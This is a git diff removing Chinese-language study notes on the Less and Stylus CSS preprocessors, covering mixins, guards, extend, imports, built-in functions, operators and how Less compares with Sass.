151, .58); - box-shadow: 0 1px 2px rgba(151, 151, 151, .58); - } - - ``` - - 其中 `.card` 与 `.card()` 是等价的。 个人建议,为了避免 代码混淆,应写成 : - - ``` - .card(){ - //something... - } - #wrap{ - .card(); - } - - ``` - - 要点: - - - `.` 与 `#` 皆可作为 方法前缀。 - - 方法后写不写 `()` 看个人习惯。 - -1. **默认参数方法** - - - Less 可以使用默认参数,如果 没有传参数,那么将使用默认参数。 - - `@arguments` 犹如 JS 中的 `arguments` 指代的是 全部参数。 - - 传的参数中 必须带着单位。 - - ``` - /* Less */ - .border(@a:10px,@b:50px,@c:30px,@color:#000){ - border:solid 1px @color; - box-shadow: @arguments;//指代的是 全部参数 - } - #main{ - .border(0px,5px,30px,red);//必须带着单位 - } - #wrap{ - .border(0px); - } - #content{ - .border;//等价于 .border() - } - - /* 生成的 CSS */ - #main{ - border:solid 1px red; - box-shadow:0px,5px,30px,red; - } - #wrap{ - border:solid 1px #000; - box-shadow: 0px 50px 30px #000; - } - #content{ - border:solid 1px #000; - box-shadow: 10px 50px 30px #000; - } - - - ``` - -2. **方法的匹配模式** - - 与 面向对象中的多态 很相似 - - ``` - /* Less */ - .triangle(top,@width:20px,@color:#000){ - border-color:transparent transparent @color transparent ; - } - .triangle(right,@width:20px,@color:#000){ - border-color:transparent @color transparent transparent ; - } - - .triangle(bottom,@width:20px,@color:#000){ - border-color:@color transparent transparent transparent ; - } - .triangle(left,@width:20px,@color:#000){ - border-color:transparent transparent transparent @color; - } - .triangle(@_,@width:20px,@color:#000){ - border-style: solid; - border-width: @width; - } - #main{ - .triangle(left, 50px, #999) - } - /* 生成的 CSS */ - #main{ - border-color:transparent transparent transparent #999; - border-style: solid; - border-width: 50px; - } - - ``` - - 要点 - - - 第一个参数 `left` 要会找到方法中匹配程度最高的,如果匹配程度相同,将全部选择,并存在着样式覆盖替换。 - - 如果匹配的参数 是变量,则将会匹配,如 `@_` 。 - -3. **方法的命名空间** - - 让方法更加规范 - - ``` - /* Less */ - #card(){ - background: #723232; - .d(@w:300px){ - width: @w; - - #a(@h:300px){ - height: @h;//可以使用上一层传进来的方法 - } - } - } - #wrap{ - #card > .d > #a(100px); // 父元素不能加 括号 - } - #main{ - #card .d(); - } - #con{ - //不得单独使用命名空间的方法 - //.d() 如果前面没有引入命名空间 #card ,将会报错 - - #card; // 等价于 #card(); - .d(20px); //必须先引入 #card - } - /* 生成的 CSS */ - #wrap{ - height:100px; - } - #main{ - width:300px; - } - #con{ - width:20px; - } - - - ``` - - 要点 - - - 在 CSS 中`>` 选择器,选择的是 儿子元素,就是 必须与父元素 有直接血源的元素。 - - 在引入命令空间时,如使用 `>` 选择器,父元素不能加 括号。 - - 不得单独使用命名空间的方法 必须先引入命名空间,才能使用 其中方法。 - - 子方法 可以使用上一层传进来的方法 - -4. **方法的条件筛选** - - Less 没有 if else,可是它有 `when` - - ``` - /* Less */ - #card{ - - // and 运算符 ,相当于 与运算 &&,必须条件全部符合才会执行 - .border(@width,@color,@style) when (@width>100px) and(@color=#999){ - border:@style @color @width; - } - - // not 运算符,相当于 非运算 !,条件为 不符合才会执行 - .background(@color) when not (@color>=#222){ - background:@color; - } - - // , 逗号分隔符:相当于 或运算 ||,只要有一个符合条件就会执行 - .font(@size:20px) when (@size>50px) , (@size<100px){ - font-size: @size; - } - } - #main{ - #card>.border(200px,#999,solid); - #card .background(#111); - #card > .font(40px); - } - /* 生成后的 CSS */ - #main{ - border:solid #999 200px; - background:#111; - font-size:40px; - } - - ``` - - 要点 - - - 比较运算有: > >= = =< <。 - - = 代表的是等于 - - 除去关键字 true 以外的值都被视为 false: - -5. **数量不定的参数** - - 如果你希望你的方法接受数量不定的参数,你可以使用... ,犹如 ES6 的扩展运算符。 - - ``` - /* Less */ - .boxShadow(...){ - box-shadow: @arguments; - } - .textShadow(@a,...){ - text-shadow: @arguments; - } - #main{ - .boxShadow(1px,4px,30px,red); - .textShadow(1px,4px,30px,red); - } - - /* 生成后的 CSS */ - #main{ - box-shadow: 1px 4px 30px red; - text-shadow: 1px 4px 30px red; - } - - ``` - -6. **方法使用important!** - - 使用方法 非常简单,在方法名后 加上关键字即可。 - - ``` - /* Less */ - .border{ - border: solid 1px red; - margin: 50px; - } - #main{ - .border() !important; - } - /* 生成后的 CSS */ - #main { - border: solid 1px red !important; - margin: 50px !important; - } - - ``` - -7. **循环方法** - - Less 并没有提供 for 循环功能,但这也难不倒 聪明的程序员,使用递归去实现。 下面是官网中的一个 Demo,模拟了生成栅格系统。 - - ``` - /* Less */ - .generate-columns(4); - - .generate-columns(@n, @i: 1) when (@i =< @n) { - .column-@{i} { - width: (@i * 100% / @n); - } - .generate-columns(@n, (@i + 1)); - } - /* 生成后的 CSS */ - .column-1 { - width: 25%; - } - .column-2 { - width: 50%; - } - .column-3 { - width: 75%; - } - .column-4 { - width: 100%; - } - - ``` - -8. **属性拼接方法** - - `+_` 代表的是 空格;`+` 代表的是 逗号。 - - - 逗号 - - ``` - /* Less */ - .boxShadow() { - box-shadow+: inset 0 0 10px #555; - } - .main { - .boxShadow(); - box-shadow+: 0 0 20px black; - } - /* 生成后的 CSS */ - .main { - box-shadow: inset 0 0 10px #555, 0 0 20px black; - } - - ``` - - - 空格 - - ``` - /* Less */ - .Animation() { - transform+_: scale(2); - } - .main { - .Animation(); - transform+_: rotate(15deg); - } - - /* 生成的 CSS */ - .main { - transform: scale(2) rotate(15deg); - } - - ``` - -9. **实战技巧** - - 下面是官网中的一个非常赞的 Demo - - ``` - /* Less */ - .average(@x, @y) { - @average: ((@x + @y) / 2); - } - - div { - .average(16px, 50px); // 调用 方法 - padding: @average; // 使用返回值 - } - - /* 生成的 CSS */ - div { - padding: 33px; - } - - ``` - -可以说 Less 是一门优雅编程语言。 - -## 继承 - -extend 是 Less 的一个伪类。它可继承 所匹配声明中的全部样式。 - -1. **extend 关键字的使用** - - ``` - /* Less */ - .animation{ - transition: all .3s ease-out; - .hide{ - transform:scale(0); - } - } - #main{ - &:extend(.animation); - } - #con{ - &:extend(.animation .hide); - } - - /* 生成后的 CSS */ - .animation,#main{ - transition: all .3s ease-out; - } - .animation .hide , #con{ - transform:scale(0); - } - - ``` - -2. **all 全局搜索替换** - - 使用选择器匹配到的 全部声明。 - - ``` - /* Less */ - #main{ - width: 200px; - } - #main { - &:after { - content:"Less is good!"; - } - } - #wrap:extend(#main all) {} - - /* 生成的 CSS */ - #main,#wrap{ - width: 200px; - } - #main:after, #wrap:after { - content: "Less is good!"; - } - - ``` - -3. **减少代码的重复性** - - 从表面 看来,extend 与 方法 最大的差别,就是 extend 是同个选择器共用同一个声明,而 方法 是使用自己的声明,这无疑 增加了代码的重复性。 - - 方法示例 与上面的 extend 进行对比: - - ``` - /* Less */ - .Method{ - width: 200px; - &:after { - content:"Less is good!"; - } - } - #main{ - .Method; - } - #wrap{ - .Method; - } - - /* 生成的 CSS */ - #main{ - width: 200px; - &:after{ - content:"Less is good!"; - } - } - #wrap{ - width: 200px; - &:after{ - content:"Less is good!"; - } - } - - - ``` - -4. **要点** - - *翻译官网* - - - 选择器和扩展之间 是允许有空格的:pre:hover :extend(div pre). - - 可以有多个扩展: pre:hover:extend(div pre):extend(.bucket tr) - 注意这与 pre:hover:extend(div pre, .bucket tr)一样。 - - 这是不可以的,扩展必须在最后 : pre:hover:extend(div pre).nth-child(odd)。 - - 如果一个规则集包含多个选择器,所有选择器都可以使用extend关键字。 - - ### 导入 - - 1. 导入 less 文件 可省略后缀 - - ``` - import "main"; - //等价于 - import "main.less"; - - ``` - - 1. `@import` 的位置可随意放置 - - ``` - #main{ - font-size:15px; - } - @import "style"; - - ``` - -5. **reference** - - Less 中 最强大的特性 使用 引入的 Less 文件,但不会 编译它。 - - ``` - /* Less */ - @import (reference) "bootstrap.less"; - - #wrap:extend(.navbar all){} - - ``` - - 翻译官网: - - > 使用@import (reference)导入外部文件,但不会添加 把导入的文件 编译到最终输出中,只引用。 - -6. **once** - - > @import语句的默认行为。这表明相同的文件只会被导入一次,而随后的导入文件的重复代码都不会解析。 - - ``` - @import (once) "foo.less"; - @import (once) "foo.less"; // this statement will be ignored - - ``` - -7. **multiple** - - > 使用@import (multiple)允许导入多个同名文件。 - - ``` - /* Less */ - - // file: foo.less - .a { - color: green; - } - // file: main.less - @import (multiple) "foo.less"; - @import (multiple) "foo.less"; - - /* 生成后的 CSS */ - .a { - color: green; - } - .a { - color: green; - } - ``` - -## 函数 - -**判断类型** - -- isnumber - -> 判断给定的值 是否 是一个数字。 - -``` -isnumber(#ff0); // false -isnumber(blue); // false -isnumber("string"); // false -isnumber(1234); // true -isnumber(56px); // true -isnumber(7.8%); // true -isnumber(keyword); // false -isnumber(url(...)); // false - -``` - -- iscolor - -> 判断给定的值 是否 是一个颜色。 - -- isurl - -> 判断给定的值 是否 是一个 url 。 - -**颜色操作** - -- saturate - -> 增加一定数值的颜色饱和度。 - -- lighten - -> 增加一定数值的颜色亮度。 - -- darken - -> 降低一定数值的颜色亮度。 - -- fade - -> 给颜色设定一定数值的透明度。 - -- mix - -> 根据比例混合两种颜色。 - -**数学函数** - -- ceil - -> 向上取整。 - -- floor - -> 向下取整。 - -- percentage - -> 将浮点数转换为百分比字符串。 - -- round - -> 四舍五入。 - -- sqrt - -> 计算一个数的平方根。 - -- abs - -> 计算数字的绝对值,原样保持单位。 - -- pow - -> 计算一个数的乘方。 - -## 其他 - -1. **注释** - - - /* */ CSS原生注释,会被编译在 CSS 文件中。 - - / / Less提供的一种注释,不会被编译在 CSS 文件中。 - -2. **避免编译** - - ``` - /* Less */ - #main{ - width:~'calc(300px-30px)'; - } - - /* 生成后的 CSS */ - #main{ - width:calc(300px-30px); - } - - ``` - - 结构: `~' 值 '` - -3. **变量拼串** - - 在平时工作中,这种需求 太常见了。 在下面例子中, 实现了不同的 transtion-delay、animation、@keyframes - - ``` - .judge(@i) when(@i=1){ - @size:15px; - } - .judge(@i) when(@i>1){ - @size:16px; - } - .loopAnimation(@i) when (@i<16) { - - .circle:nth-child(@{i}){ - .judeg(@i); - border-radius:@size @size 0 0; - animation: ~"circle-@{i}" @duration infinite @ease; - transition-delay:~"@{i}ms"; - } - @keyframes ~"circle-@{i}" { - // do something... - } - .loopAnimation(@i + 1); - } - - ``` - - 结构: `~"字符@{变量}字符"`; - -4. **使用 JS** - - 因为 Less 是由 JS 编写,所以 Less 有一得天独厚的特性:代码中使用 Javascript 。 - - ``` - /* Less */ - @content:`"aaa".toUpperCase()`; - #randomColor{ - @randomColor: ~"rgb(`Math.round(Math.random() * 256)`,`Math.round(Math.random() * 256)`,`Math.round(Math.random() * 256)`)"; - } - #wrap{ - width: ~"`Math.round(Math.random() * 100)`px"; - &:after{ - content:@content; - } - height: ~"`window.innerHeight`px"; - alert:~"`alert(1)`"; - #randomColor(); - background-color: @randomColor; - } - /* 生成后的 CSS */ - - // 弹出 1 - #wrap{ - width: 随机值(0~100)px; - height: 743px;//由电脑而异 - background: 随机颜色; - } - #wrap::after{ - content:"AAA"; - } - - ``` - - 前几个月 , 有个 `CSS in JS` 的概念非常火,现在 看来 `JS in CSS` 也未曾不可。 我觉得完全可以根据 Less 这个特性来造个轮子,JS来控制 CSS ,形成 动态属性,如果成功 很可能会改变 现在前端的打开姿势。 - -## 与SASS区别 - -#### 1、编译环境不一样 - -`Sass`的安装需要Ruby环境,是在**服务端**处理的。 `Less`是需要引入less.js来处理Less代码输出css到浏览器,也可以在开发环节使用Less,然后**编译成css文件**,直接放到项目中,也有 Less.app、SimpleLess、CodeKit.app这样的工具,也有在线编译地址。 - -#### 2、变量符不一样 - -`SASS` 变量符是 $ - -`LESS` 变量符是 @ - -#### 3、变量的作用域也不一样 - -```css -Less-作用域 -@color: #00c; /* 蓝色 */ -#header { - @color: #c00; /* red */ - border: 1px solid @color; /* 红色边框 */ -} - -#footer { - border: 1px solid @color; /* 蓝色边框 */ -} - -Less-作用域编译后 -#header{border:1px solid #cc0000;} -#footer{border:1px solid #0000cc;} - -scss-作用域 -$color: #00c; /* 蓝色 */ - -#header { - $color: #c00; /* red */ - border: 1px solid $color; /* 红色边框 */ -} - -#footer { - border: 1px solid $color; /* 蓝色边框 */ -} - -Sass-作用域编译后 - -#header{border:1px solid #c00} -#footer{border:1px solid #c00} - - -``` - -Less区分上下级作用域,SCSS为就近原则 - -我们可以看出来,less和scss中的变量会随着作用域的变化而不一样。 - -#### 4、输出设置不同 - -`Sass`提供4中输出选项:**nested**, **compact**, **compressed** 和 **expanded**。 - -输出样式的风格可以有四种选择,默认为nested - -``` -nested:嵌套缩进的css代码 -expanded:展开的多行css代码 -compact:简洁格式的css代码 -compressed:压缩后的css代码 - -``` - -`Less`没有输出设置 - -#### 5、支持语句不同 - -`Sass`支持条件语句,可以使用if{}else{},for{}循环等等。 - -``` -/* Sample Sass “if” statement */ - -@if lightness($color) > 30% { - -} @else { - -} - -/* Sample Sass “for” loop */ - -@for $i from 1 to 10 { - .border-#{$i} { - border: #{$i}px solid blue; - } -} - -``` - -`Less`不支持。 - -#### 6、引用外部 CSS 文件 - -`Scss`引用的外部文件命名必须以_开头, 如下例所示:其中_test1.scss、_test2.scss、_test3.scss文件分别设置的h1 h2 h3。文件名如果以下划线_开头的话,Sass会认为该文件是一个引用文件,不会将其编译为css文件. - -``` -// 源代码: -@import "_test1.scss"; -@import "_test2.scss"; -@import "_test3.scss"; -// 编译后: -h1 { - font-size: 17px; -} - -h2 { - font-size: 17px; -} - -h3 { - font-size: 17px; -} - -``` - -`Less`引用外部文件和css中的@import没什么差异。 - -#### 7、工具库不同 - -`Sass`有工具库Compass, 简单说,Sass和Compass的关系有点像Javascript和jQuery的关系,Compass是Sass的工具库。在它的基础上,封装了一系列有用的模块和模板,补充强化了Sass的功能。 - -`Less`有UI组件库Bootstrap,Bootstrap是web前端开发中一个比较有名的前端UI组件库,Bootstrap的样式文件部分源码就是采用Less语法编写。 diff --git a/src/CSS/PostCSS.md b/src/CSS/PostCSS.md deleted file mode 100644 index e69de29b..00000000 diff --git "a/src/CSS/Stylus \345\255\246\344\271\240\346\225\264\345\220\210.md" "b/src/CSS/Stylus \345\255\246\344\271\240\346\225\264\345\220\210.md" deleted file mode 100644 index 621b15b1..00000000 --- "a/src/CSS/Stylus \345\255\246\344\271\240\346\225\264\345\220\210.md" +++ /dev/null @@ -1,1600 +0,0 @@ ---- -date: 2021-04-24 -category: -- CSS -- 前端 ---- - -# Stylus 学习整合 - -> stylus 代码很简介,但是工作过程当中更多的接触的是scss和less,stylus很少人可以驾驭,而且语法更加的简洁和不同 - -## 特征 - -冒号可选、分号可选逗号可选、括号可选、变量、插值、混合书写、算术、强制类型转换、动态导入、条件、迭代、嵌套选择、父级参考、变量函数调用、词法作用域、内置函数、内部语言函数、压缩可选、图像内联可选、可执行 `Stylus`、健壮的错误报告、单行和多行注释、`CSS` 字面量、字符转义、`TextMate` 捆绑等。 - -## 使用 - -#### 全局安装 - -```bash -$ npm install stylus -g - -``` - -#### 编译单个文件 - -```bash -stylus demo.styl - -``` - -#### 编译整个文件夹 - -```bash -当前文件夹下 stylus - -``` - -#### 动态监听整个文件夹 - -```bash -stylus -w - -``` - -#### 动态监听整个文件夹并压缩 - -```bash -stylus -w --compress - -``` - -## 基本语法 - -### 选择器 - -#### 缩排 - -`Stylus` 语法是基于缩进,空格有重要的意义,使用缩排和凹排代替花括号 `{` 及 `}`。 - -```stylus -body - color white - -``` - -上面代码对应于: - -```stylus -body { - color: #fff; -} - -``` - -可以加上冒号,用做分隔,便于阅读: - -```stylus -body - color: white - -``` - -#### 规则集 - -`Stylus` 就跟 `CSS` 一样,允许使用逗号为多个选择器同时定义属性。 - -```stylus -textarea, input - border 1px solid #eee - -``` - -使用新行是一样的效果: - -```stylus -textarea -input - border 1px solid #eee - -``` - -等同于: - -```stylus -textarea, -input { - border: 1px solid #eee; -} - -``` - -该规则唯一的例外就是长得像属性的选择器。例如,下面的 `foo bar baz` 可能是个属性或者是选择器。 - -```stylus -foo bar baz -> input - border 1px solid - -``` - -为解决这个问题,可以在尾部加个逗号: - -```stylus -foo bar baz, -form input, -> a - border 1px solid - -``` - -#### 父级引用 - -字符 `&` 指向父选择器。下面这个例子,两个选择器( `textarea` 和 `input` )在 `:hover` 伪类选择器上都改变了 `color` 值 - -```stylus -textarea -input - color #A7A7A7 - &:hover - color #000 - -``` - -等同于: - -```stylus -textarea, -input { - color: #a7a7a7; -} -textarea:hover, -input:hover { - color: #000; -} - -``` - -下面这个例子,`IE浏览器` 利用了父级引用以及混合书写来实现 `2px` 的边框。 - -```stylus - box-shadow() - -webkit-box-shadow arguments - -moz-box-shadow arguments - box-shadow arguments - html.ie8 &, - html.ie7 &, - html.ie6 & - border 2px solid arguments[length(arguments) - 1] - - body - #login - box-shadow 1px 1px 3px #eee - -``` - -结果: - -```stylus - body #login { - -webkit-box-shadow: 1px 1px 3px #eee; - -moz-box-shadow: 1px 1px 3px #eee; - box-shadow: 1px 1px 3px #eee; - } - html.ie8 body #login, - html.ie7 body #login, - html.ie6 body #login { - border: 2px solid #eee; - } - -``` - -#### 消除歧义 - -类似 `padding - n` 的表达式可能既被解释成 `减法运算`,也可能被释义成 `一元负号属性`。为了避免这种歧义,用括号包裹表达式: - -```stylus -pad(n) - padding (- n) - -body - pad(5px) - -``` - -结果: - -```stylus -body { - padding: -5px; -} - -``` - -然而,只有在函数中才会这样(因为函数同时用返回值扮演混合或回调)。 例如,下面这个就是OK的: - -```stylus -body - padding -5px - -``` - -`unquote()` 可以处理有 `Stylus` 无法处理的属性值: - -```stylus -filter unquote('progid:DXImageTransform.Microsoft.BasicImage(rotation=1)') - -``` - -结果: - -```stylus -filter progid:DXImageTransform.Microsoft.BasicImage(rotation=1) - -``` - -### 变量 - -#### 变量 - -我们可以指定表达式为变量,然后在样式中贯穿使用: - -```stylus -font-size = 14px - -body - font font-size Arial, sans-seri - -``` - -结果: - -```stylus -body { - font: 14px Arial, sans-serif; -} - -``` - -变量甚至可以组成一个表达式列表: - -```stylus -font-size = 14px -font = font-size "Lucida Grande", Arial - -body - font font sans-serif - -``` - -结果: - -```stylus -body { - font: 14px "Lucida Grande", Arial sans-serif; -} - -``` - -标识符(变量名,函数等),也可能包括$字符。例如: - -```stylus -$font-size = 14px -body { - font: $font-size sans-serif; -} - -``` - -#### 属性查找 - -`Stylus` 有另外一个很酷的独特功能,不需要分配值给变量就可以定义引用属性。下面是个很好的例子,元素水平垂直居中对齐(典型的方法是使用百分比和 `margin` 负值),如下: - -```stylus -#logo - position: absolute - top: 50% - left: 50% - width: w = 150px - height: h = 80px - margin-left: -(w / 2) - margin-top: -(h / 2) - -``` - -我们不使用这里的变量 `w` 和 `h`, 而是简单地前置 `@` 字符在属性名前来访问该属性名对应的值: - -```stylus -#logo - position: absolute - top: 50% - left: 50% - width: 150px - height: 80px - margin-left: -(@width / 2) - margin-top: -(@height / 2) - -``` - -另外使用案例是基于其他属性有条件地定义属性。在下面这个例子中,我们默认指定 `z-index` 值为 `1`,但是,只有在 `z-index` 之前未指定的时候才这样: - -```stylus -position() - position: arguments - z-index: 1 unless @z-index - -#logo - z-index: 20 - position: absolute - -#logo2 - position: absolute - -``` - -属性会 `向上冒泡` 查找堆栈直到被发现,或者返回 `null`(如果属性搞不定)。下面这个例子,`@color` 值为 `blue`. - -```stylus -body - color: red - ul - li - color: blue - a - background-color: @color - -``` - -### 插值 - -#### 插值 - -`Stylus` 支持通过使用 `{}` 字符包围表达式来插入值,其会变成标识符的一部分。例如,`-webkit-{'border' + '-radius'}` 等同于 `-webkit-border-radius`。比较好的例子就是私有前缀属性扩展: - -```stylus -vendor(prop, args) - -webkit-{prop} args - -moz-{prop} args - {prop} args - -border-radius() - vendor('border-radius', arguments) - -box-shadow() - vendor('box-shadow', arguments) - -button - border-radius 1px 2px / 3px 4px - -``` - -结果: - -```stylus -button { - -webkit-border-radius: 1px 2px / 3px 4px; - -moz-border-radius: 1px 2px / 3px 4px; - border-radius: 1px 2px / 3px 4px; -} - -``` - -#### 选择器插值 - -插值也可以在选择器上起作用。例如,我们可以指定表格前 `5` 行的高度,如下: - -```stylus -table - for row in 1 2 3 4 5 - tr:nth-child({row}) - height: 10px * row - -``` - -结果: - -```stylus -table tr:nth-child(1) { - height: 10px; -} -table tr:nth-child(2) { - height: 20px; -} -table tr:nth-child(3) { - height: 30px; -} -table tr:nth-child(4) { - height: 40px; -} -table tr:nth-child(5) { - height: 50px; -} - -``` - -### 运算符 - -#### 运算符优先级 - -下表运算符优先级,从最高到最低: - -```stylus -[] -! ~ + - -is defined -** * / % -+ - -... .. -<= >= < > -in -== is != is not isnt -is a -&& and || or -?: -= := ?= += -= *= /= %= -not -if unless - -``` - -#### 一元运算符 - -以下一元运算符可用,`!`, `not`, `-`, `+`, 以及 `~`. - -```stylus -!0 // => true -!!0 // => false -!1 // => false -!!5px // => true --5px // => -5px ---5px // => 5px -not true // => false -not not true // => true - -``` - -逻辑运算符 `not` 的优先级较低,因此,下面这个例子可以替换: - -```stylus -a = 0 -b = 1 -!a and !b // => false,解析为: (!a) and (!b) - -``` - -用: - -```stylus -not a or b // => false,解析为: not (a or b) - -``` - -#### 二元运算符 - -`下标运算符[]` 允许我们通过索引获取表达式内部值。`括号表达式` 可以充当元组(如`(15px 5px), (1, 2, 3)` )。 - -下面这个例子使用错误处理的元组(并展示了该结构的多功能性): - -```stylus -add(a, b) - if a is a 'unit' and b is a 'unit' - a + b - else - (error 'a 和 b 必须是 units!') - -body - padding add(1,'5') // => padding: error "a 和 b 必须是 units"; - padding add(1,'5')[0] // => padding: error; - padding add(1,'5')[0] == error // => padding: true; - padding add(1,'5')[1] // => padding: "a 和 b 必须是 units"; - -``` - -这儿有个更复杂的例子。现在,我们调用内置的 `error()` 函数,当标识符(第一个值)等于 `error` 的时候返回错误信息。 - -```stylus -if (val = add(1,'5'))[0] == error - error(val[1]) - -``` - -#### 范围 `..` `...` - -同时提供包含界线操作符(`..`)和范围操作符(`...`),见下表达式: - -```stylus -1..5 // => 1 2 3 4 5 -1...5 // => 1 2 3 4 - -``` - -#### 加减:`+` `-` - -二元加乘运算其单位会转化,或使用默认字面量值。例如,`5s - 2px` 结果是 `3s`. - -```stylus -15px - 5px // => 10px -5 - 2 // => 3 -5in - 50mm // => 3.031in -5s - 1000ms // => 4s -20mm + 4in // => 121.6mm -"foo " + "bar" // => "foo bar" -"num " + 15 // => "num 15" - -``` - -#### 乘除:`/` `*` `%` - -```stylus -2000ms + (1s * 2) // => 4000ms -5s / 2 // => 2.5s -4 % 2 // => 0 - -``` - -当在属性值内使用 `/` 时候,你必须用括号包住。否则 `/` 会根据其字面意思处理(支持 `CSS` 的 `line-height`)。 - -```stylus -font: 14px/1.5; // 但是,下面这个却等同于14px ÷ 1.5: -font: (14px/1.5); // 只有/操作符的时候需要这样。 - -``` - -#### 指数:** - -指数操作符: - -```stylus -2 ** 8 // => 256 - -``` - -#### 相等与关系运算:`==` `!=` `>=` `<=` `>` `<` - -相等运算符可以被用来等同单位、颜色、字符串甚至标识符。这是个强大的概念,甚至任意的标识符(例如 `wahoo` )可以作为原子般使用。函数可以返回 `yes` 和 `no` 代替 `true` 和 `false`(虽然不建议)。 - -```stylus -5 == 5 // => true -10 > 5 // => true -#fff == #fff // => true -true == false // => false -wahoo == yay // => false -wahoo == wahoo // => true -"test" == "test" // => true -true is true // => true -'hey' is not 'bye' // => true -'hey' isnt 'bye' // => true -(foo bar) == (foo bar) // => true -(1 2 3) == (1 2 3) // => true -(1 2 3) == (1 1 3) // => false - -``` - -只有精确值才匹配,例如,`0 == false` 和 `null == false` 均返回 `false`. - -别名: - -- `==`: is -- `!=`: is not -- `!=`: isnt - -#### 真与假 - -`Stylus` 近乎一切都是 `true`, 包括有后缀的单位,甚至 `0%`, `0px` 等都被认作 `true`. 不过,`0` 在算术上本身是 `false`,表达式(或“列表”)长度大于 `1` 被认为是真。 - -`true` 例子: - -```stylus -0% -0px -1px --1 --1px -hey -'hey' -(0 0 0) -('' '') - -``` - -`false` 例子: - -```stylus -0 -null -false - -``` - -#### 逻辑操作符:`&&` `||` 和 `or` - -逻辑操作符 `&&` 和 `||` 别名是 `and` / `or`。它们优先级相同。 - -```stylus -5 && 3 // => 3 -0 || 5 // => 5 -0 && 5 // => 0 -#fff is a 'rgba' and 15 is a 'unit' // => true - -``` - -#### 存在操作符:`in` - -检查左边内容是否在右边的表达式中。 简单的例子: - -```stylus -nums = 1 2 3 -1 in nums // => true -5 in nums // => false - -``` - -一些未定义标识符: - -```stylus -words = foo bar baz -bar in words // => true -HEY in words // => false - -``` - -元组同样适用: - -```stylus -vals = (error 'one') (error 'two') -error in vals // => false -(error 'one') in vals // => true -(error 'two') in vals // => true -(error 'something') in vals // => false - -``` - -混合书写适用例子: - -```stylus -pad(types = padding, n = 5px) - if padding in types - padding n - if margin in types - margin n - -body - pad() -body - pad(margin) -body - pad(padding margin, 10px) - -``` - -对应于: - -```stylus -body { - padding: 5px; -} -body { - margin: 5px; -} -body { - padding: 10px; - margin: 10px; -} - -``` - -#### 条件赋值:`?=` `:=` - -条件赋值操作符 `?=`(别名`?:`)使得无需破坏旧值(如果存在)定义变量。该操作符可以扩展成三元 `is defined` 的二元操作。例如,下面这些作用都是相同的: - -```stylus -color := white -color ?= white -color = color is defined ? color : white - -``` - -如果我们使用等号=, 就只是简单地赋值。 - -```stylus -color = white -color = black -color // => black - -``` - -但当使用 `?=`,第二个赋值失效了: - -```stylus -color = white -color ?= black -color // => white - -``` - -#### 实例检查:`is a` - -`Stylus` 提供一个二元运算符叫做 `is a`, 用做类型检查。 - -```stylus -15 is a 'unit' // => true -#fff is a 'rgba' // => true -15 is a 'rgba' // => false - -``` - -另外,我们可以使用 `type()` 这个内置函数。 - -```stylus -type(#fff) == 'rgba' // => true - -``` - -> 注意:`color` 是唯一的特殊情况,当左边是 `RGBA` 或者 `HSLA` 节点时,都为 `true`. - -#### 变量定义:`is defined` - -此伪二元运算符右边空荡荡,左边无计算。用来检查变量是否已经分配了值。 - -```stylus -foo is defined // => false -foo = 15px -foo is defined // => true -#fff is defined // => 'invalid "is defined" check on non-variable #fff' - -``` - -另外,我们可以使用内置 `lookup(name)` 方法做这个活动态查找。 - -```stylus -name = 'blue' -lookup('light-' + name) // => null -light-blue = #80e2e9 -lookup('light-' + name) // => #80e2e9 - -``` - -该操作符必不可少,因为一个未定义的标识符仍是真值。如: - -```stylus -body - if ohnoes - padding 5px - -``` - -当未定义的时候,产生的是下面的 `CSS`: - -```stylus -body { - padding: 5px; -} - -``` - -显然,这不是我们想要的,如下书写就安全了: - -```stylus -body - if ohnoes is defined - padding 5px - -``` - -#### 三元 - -三元运算符的运作正如大部分语言里面的那样。三个操作对象的操作符(条件表达式、真表达式以及假表达式)。 - -```stylus -num = 15 -num ? unit(num, 'px') : 20px // => 15px - -``` - -#### 铸造 - -作为替代简洁的内置 `unit()` 函数,语法 `(expr) unit` 可用来强制后缀。 - -```stylus -body - n = 5 - foo: (n)em - foo: (n)% - foo: (n + 5)% - foo: (n * 5)px - foo: unit(n + 5, '%') - foo: unit(5 + 180 / 2, deg) - -``` - -#### 颜色操作 - -颜色操作提供了一个简洁,富有表现力的方式来改变其组成。例如,我们可以对每个 `RGB`: - -```stylus -#0e0 + #0e0 // => #0f0 - -``` - -另外一个例子是通过增加或减少百分值调整颜色亮度。颜色亮,加;暗,则减。 - -```stylus -#888 + 50% // => #c3c3c3 -#888 - 50% // => #444 - -``` - -我们也可以通过增加或减去色度调整色调。例如,红色增加 `65deg` 就变成了黄色。 - -```stylus -#f00 + 50deg // => #ffd500 - -``` - -值适当固定。例如,我们可以"旋转" `180度` 的色调,如果目前的值是 `320deg`, 将变成 `140deg`. - -我们也可能一次调整几个值(包括 `alpha`),通过使用 `rgb()`, `rgba()`, `hsl()`, 或 `hsla()`: - -```stylus -#f00 - rgba(100,0,0,0.5) // => rgba(155,0,0,0.5) - -``` - -#### 格式化字符串 - -格式化字符串模样的字符串 `%` 可以用来生成字面量值,通过传参给内置 `s()` 方法。 - -```stylus -'X::Microsoft::Crap(%s)' % #fc0 // => X::Microsoft::Crap(#fc0) - -``` - -多个值需要括起来: - -```stylus -'-webkit-gradient(%s, %s, %s)' % (linear (0 0) (0 100%)) // => -webkit-gradient(linear, 0 0, 0 100%) - -``` - -### 混合书写 - -#### 混入 - -混入和函数定义方法一致,但是应用却大相径庭。例如,下面有定义的 `border-radius(n)` 方法,其却作为一个 `mixin`(如,作为状态调用,而非表达式)调用。 当 `border-radius()` 选择器中调用时候,属性会被扩展并复制在选择器中。 - -```stylus -border-radius(n) - -webkit-border-radius n - -moz-border-radius n - border-radius n - -form input[type=button] - border-radius(5px) - -``` - -编译成: - -```stylus -form input[type=button] { - -webkit-border-radius: 5px; - -moz-border-radius: 5px; - border-radius: 5px; -} - -``` - -使用混入书写,可以完全忽略括号。 - -```stylus -border-radius(n) - -webkit-border-radius n - -moz-border-radius n - border-radius n - -form input[type=button] - border-radius 5px - -``` - -注意到我们混合书写中的 `border-radius` 当作了属性,而不是一个递归函数调用。 - -更进一步,我们可以利用 `arguments` 这个局部变量,传递可以包含多值的表达式。 - -```stylus -border-radius() - -webkit-border-radius arguments - -moz-border-radius arguments - border-radius arguments - -``` - -现在,我们可以像这样子传值:`border-radius 1px 2px / 3px 4px` 另外一个很赞的应用是特定的私有前缀支持——例如IE浏览器的透明度: - -```stylus -support-for-ie ?= true - -opacity(n) - opacity n - if support-for-ie - filter unquote('progid:DXImageTransform.Microsoft.Alpha(Opacity=' + round(n * 100) + ')') - -#logo - &:hover - opacity 0.5 - -``` - -渲染为: - -```stylus -#logo:hover { - opacity: 0.5; - 